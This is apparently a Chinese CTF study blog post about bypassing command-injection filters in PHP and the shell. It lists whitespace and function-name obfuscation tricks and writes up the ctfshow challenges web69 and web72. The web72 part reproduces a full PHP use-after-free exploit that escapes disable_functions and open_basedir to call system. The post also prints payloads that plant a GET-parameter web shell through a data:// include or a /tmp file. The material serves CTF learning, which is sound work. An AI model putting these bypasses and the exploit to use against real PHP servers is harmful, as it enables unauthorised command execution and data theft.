命令执行

空格过滤

shell命令

1.%09,制表符绕过空格

cat%09flag.txt

2.%0a,换行符绕过空格

cat%0aflag.txt

3.%0d,回车符绕过空格

cat%0dflag.txt

4.%0b,垂直制表符绕过空格

cat%0bflag.txt

5.%0c,换页符绕过空格

cat%0cflag.txt

bash

1.花括号

{cat,/flag0.txt},涉及特性

2.赋值

IFS=;cat$IFS/flag0.txt,涉及变量

特殊

1.通配

cat${IFS}flag.txt

2.字符串拼接

[email protected]

system过滤

1.system('cat flag.txt'); 被过滤
2.exec('cat flag.txt', \(out); 输出在\)out中
3.shell_exec('cat flag.txt'); 返回命令输出
4.passthru('cat flag.txt'); 直接输出原始结果
5.popen('cat flag.txt', 'r'); 返回文件指针
6.proc_open(); 更复杂的进程控制
7.cat flag.txt; 反引号,shell_exec的别名

字符拼接

1.点号拼接

(sy.(st).em)('cat flag.txt');

2.变量拼接

$a = 'sy';
$b = 'st';
$c = 'em';
$d = $a.$b.$c;
$d('cat flag.txt');

字符反转

部分waf是顺序检测,可以反转字符来绕过

system 反转是 metsys
$f = strrev('metsys');
$f('cat flag.txt');

字符截取

先出长数据,再从中截取构造命令

$str = 'abcdefghijklmnopqrstuvwxyz';
$f = $str[18].$str[24].$str[18].$str[19].$str[4].$str[12];
$f('cat flag.txt');

这里拼接的是system

字符替换

把 secret 中的 ecret 替换成 ystem

$f = str_replace('est', 'ystem', 'secret');  // 得到 system
$f('cat flag.txt');

编码绕过

这个就是将被过滤的函数用base64/unicode/......去编码然后传入
比如给一个自定义编码:

function decode($s) {
    $out = '';
    for($i=0;$i<strlen($s);$i+=2) {
        $out .= chr(hexdec($s[$i].$s[$i+1]));
    }
    return $out;
}
$f = decode('73797374656d');
$f('cat flag.txt');

回调函数和数组运用

1.回调函数

// call_user_func
call_user_func('system', 'cat flag.txt');

// call_user_func_array
call_user_func_array('system', ['cat flag.txt']);

// array_map
array_map('system', ['cat flag.txt']);

// array_walk
array_walk(['cat flag.txt'], 'system');

2.动态函数

// call_user_func
call_user_func('system', 'cat flag.txt');

// call_user_func_array
call_user_func_array('system', ['cat flag.txt']);

// array_map
array_map('system', ['cat flag.txt']);

// array_walk
array_walk(['cat flag.txt'], 'system');

3.函数指针

// 把system赋值给另一个变量 $a = 'system'; $a('cat flag.txt');
这个跟前面的赋值差不多,原理相同

内置函数利用

1. get_defined_functions

// 获取所有函数
$funcs = get_defined_functions()['internal'];

// 找system的索引
foreach($funcs as $k=>$v) {
    if($v == 'system') {
        $idx = $k;
        break;
    }
}
// 直接调用
$funcs[$idx]('cat flag.txt');

2.函数名

// 用正则匹配system函数
$funcs = get_defined_functions()['internal'];
$filtered = preg_grep('/^system$/', $funcs);
$filtered[0]('cat flag.txt');

文件操作

1.远程文件包含(前提allow_url_include=On)

include 'php://filter/convert.base64-decode/resource=data://plaintext,PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs';

2.临时文件

// 写一个临时php文件,包含system调用
file_put_contents('/tmp/exec.php', '<?php system($_GET[1]);');
include '/tmp/exec.php';
$_GET[1] = 'cat flag.txt';

cat过滤

more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)

这个取自csdn的zsxmryu师傅

命令分隔符

顺序执行

符号 名称 示例 说明
; 分号 cat /flag.txt; whoami 先执行第一条,再执行第二条
\n 换行符 cat /flag.txt\nwhoami 在某些环境等同分号
& 后台执行符 cat /flag.txt & whoami 第一条放后台,第二条立即执行

条件执行

符号 名称 示例 说明
&& 逻辑与 cat /flag.txt && whoami 第一条成功才执行第二条
逻辑或 cat /flag.txt whoami 第一条失败才执行第二条
管道符 cat /flag.txt grep flag 第一条的输出作为第二条的输入

由于||生成表格,故逻辑或->||,管道符->|

命令替换

符号 名称 示例 说明
反引号 cat \ls`` 先执行ls,结果作为cat的参数
$() | 美元括号 | cat $(ls) 同上,更现代,可嵌套

特殊变量与环境

$()表示命令替换

${}表示变量引用

$?表示退出状态

读取

纯背,web禁用函数突破基本都是show_source()
后面换var_dump()和var_export()

目录

//查看根目录

c=var_dump(scandir('/')); 

c=var_export(scandir('/'));

c=print_r(scandir('/')); 

c=var_export(scandir('glob:///*'));

//查看当前目录

c=print_r(scandir(dirname('__FILE__')));

在后面70还是71题存在将所查询的替换为?
翻阅它的index.php知道是先执行查询再执行替换
可以在查询代码后添加exit(),最后出结果的添加die()

文件读取

file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
fopen()

不常见的还有:

函数 说明 示例
fgetc() 读取单个字符 \(c = fgetc(\)fp);
fgetss() 读取一行并过滤HTML/PHP标签(PHP 7.3+ 弃用) \(line = fgetss(\)fp);
fscanf() 按格式从文件中读取 fscanf($fp, "%s", $str);
fpassthru() 输出文件指针处的所有剩余数据 fpassthru($fp);
fread() 读取指定字节数 \(data = fread(\)fp, 1024);
fseek() + ftell() + rewind() 定位读取 组合使用
parse_ini_file() 读取并解析ini配置文件 $ini = parse_ini_file('config.ini');
parse_ini_string() 解析ini字符串 同上
gzfile() 读取压缩文件到数组 $lines = gzfile('file.gz');
gzread() 读取gzip压缩文件 同 fread() 但用于压缩文件

文件包含

跟之前写的一样,通过包含输出
例如
c=include('flag.php');echo $flag;

示例

c=echo file_get_contents('flag.php');

c=echo highlight_file('flag.php');

c=highlight_file("flag.php");

c=show_source('flag.php');
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

题目

web69

image
可以看到禁用了highlight_file()
前面ban掉了var_dump
想到使用var_export
思路:
现目录->读取(如果出现flag文件)/读取根目录->读取
现目录尝试的flag.php但是虚假的
输入var_export(scandir('/'));
image
发现flag.txt
因为各种函数被ban,换文件包含来写
即c=include('/flag.txt');

image
得到flag
像post题还有逃课的做法
连接蚁剑
同一题
image

这种方案能适用于post类题目且不ban目录读取权限情况下

web72

这道题不仅限制了各种函数,最恶心一点就是开了open_basedir
使得目录读取存在限制,也就开不了蚁剑
这里需要了解到glob://伪协议读取
通过c=var_export(scandir('glob:///*'));exit();获得根目录
image
难点就在于怎么能绕过路径限制情况下读取文件
搜索wp得到uaf漏洞脚本(好多别人有用我却用不了)

?><?php
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

将这个进行url编码后,接入c=即可得flag
参考这位大佬的https://chuna2.787528.xyz/LLeaves/p/13210005.html
介绍了这方面的知识
我写完这道题就一直在想能不能软协议绕过得flag
等找个时间试一下

posted @ 2026-03-09 20:35  suncyme  阅读(4)  评论(0)    收藏  举报